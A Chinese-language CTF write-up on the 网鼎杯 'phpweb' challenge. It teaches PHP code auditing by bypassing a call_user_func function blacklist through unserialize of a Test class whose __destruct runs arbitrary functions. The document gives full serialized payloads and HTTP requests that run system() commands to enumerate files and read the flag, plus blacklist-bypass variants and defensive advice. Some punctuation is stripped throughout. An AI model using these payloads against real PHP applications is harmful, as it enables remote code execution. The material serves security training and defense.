PHP代码审计入门:从一道BUUCTF真题(网鼎杯phpweb)学黑名单绕过与反序列化利用
PHP代码审计实战黑名单绕过与反序列化漏洞深度解析在CTF竞赛中PHP代码审计一直是Web安全方向的重要考点。这道来自网鼎杯朱雀组的phpweb题目完美展示了黑名单过滤机制的缺陷与反序列化漏洞的结合利用。本文将带您从零开始逐步拆解这道经典题目掌握PHP安全审计的核心技巧。1. 题目环境与初步探测首先观察题目页面行为每隔5秒自动刷新页面。通过Burp Suite抓包发现每次刷新会提交两个POST参数POST / HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded funcgettimep2021-04-23初步猜测这是一个函数调用接口func参数指定要调用的函数名p参数作为函数参数传递测试常见危险函数时发现大部分被拦截# 测试命令执行 funcsystempwhoami # 返回Hacker... funcexecpls # 同上 # 测试文件读取 funcfile_get_contentspindex.php # 成功获取源码2. 源码审计与黑名单分析获取到的index.php源码揭示了关键防御机制$disable_fun array(exec,shell_exec,system,passthru,...); // 共35个禁用函数 function gettime($func, $p) { $result call_user_func($func, $p); if (gettype($result) string) { return $result; } return ; } // 关键Test类 class Test { var $p Y-m-d h:i:s a; var $func date; function __destruct() { if ($this-func ! ) { echo gettime($this-func, $this-p); } } }安全机制分析防御层实现方式限制条件函数黑名单in_array($func,$disable_fun)禁用35个危险函数返回值限制gettype($result) string只允许返回字符串类型大小写过滤strtolower($func)防止大小写绕过3. 黑名单绕过技术剖析3.1 直接绕过尝试首先检查黑名单遗漏的函数// 测试未被禁用的危险函数 funcpassthrupwhoami # 被拦截 funcpcntl_execp/bin/sh # 被拦截 funccreate_functionpreturn system(whoami); # 返回空不符合字符串类型3.2 反序列化漏洞发现关键突破点在于Test类的设计class Test { var $p; var $func; function __destruct() { echo gettime($this-func, $this-p); } }利用链构造思路通过unserialize触发对象反序列化反序列化后的对象在销毁时自动调用__destruct__destruct中调用gettime执行任意函数3.3 完整利用链构建分步构造Payload创建恶意Test对象class Test { var $func system; var $p whoami; } echo serialize(new Test()); // 输出O:4:Test:2:{s:4:func;s:6:system;s:1:p;s:6:whoami;}通过原始接口触发POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded funcunserializepO:4:Test:2:{s:4:func;s:6:system;s:1:p;s:6:whoami;}绕过原理对比调用方式过滤检查是否绕过直接调用system检查func在黑名单中×通过反序列化调用只检查unserialize不在黑名单√4. 漏洞利用实战演示4.1 基础命令执行POST / HTTP/1.1 funcunserializepO:4:Test:2:{s:4:func;s:6:system;s:1:p;s:8:ls -lha;}4.2 多命令串联执行$payload new Test(); $payload-func system; $payload-p whoami; pwd; find / -name *flag*; echo serialize($payload);4.3 文件系统探测POST / HTTP/1.1 funcunserializepO:4:Test:2:{s:4:func;s:6:system;s:1:p;s:22:find / -type f -name flag*;}4.4 最终flag获取POST / HTTP/1.1 funcunserializepO:4:Test:2:{s:4:func;s:6:system;s:1:p;s:19:cat /tmp/flagoefiu4r93;}5. 防御方案与最佳实践5.1 黑名单机制的改进原始黑名单的不足依赖枚举危险函数永远不全未考虑动态调用链忽略反序列化入口改进方案// 白名单替代黑名单 $allowed_func [date, strtotime, gettime]; // 增加反序列化过滤 if ($func unserialize) { $p unserialize($p, [allowed_classes []]); }5.2 安全开发建议输入验证原则优先使用白名单而非黑名单对动态函数调用进行严格限制禁用不必要的危险函数php.ini中disable_functions反序列化防护// 禁用对象反序列化 ini_set(unserialize_callback_func, ); unserialize($data, [allowed_classes false]); // 或仅允许特定类 unserialize($data, [allowed_classes [SafeClass]]);日志监控建议# 监控可疑函数调用 grep -r call_user_func /var/log/apache2/ grep -r unserialize /var/log/nginx/6. 同类漏洞模式扩展6.1 常见触发场景漏洞类型典型代码模式案例动态函数调用$func($_GET[param])CVE-2021-21345反序列化魔术方法__destruct()调用危险方法ThinkPHP RCE回调函数滥用array_map($callback, $data)WordPress插件漏洞6.2 CTF中的变种考察黑名单扩展绕过// 过滤了system但未过滤反引号 $_GET[cmd]二次编码绕过// 原始输入 funchex2binp73697374656d // 实际执行 system(whoami)PHP特性利用// 通过字符串拼接绕过 $func sys.tem; $func(whoami);在真实项目代码审计时建议建立以下检查清单查找所有call_user_func/call_user_func_array调用点检查unserialize参数是否可控审核所有魔术方法__destruct、__wakeup等验证动态函数调用$var()语法检查可能存在回调的函数array_filter、usort等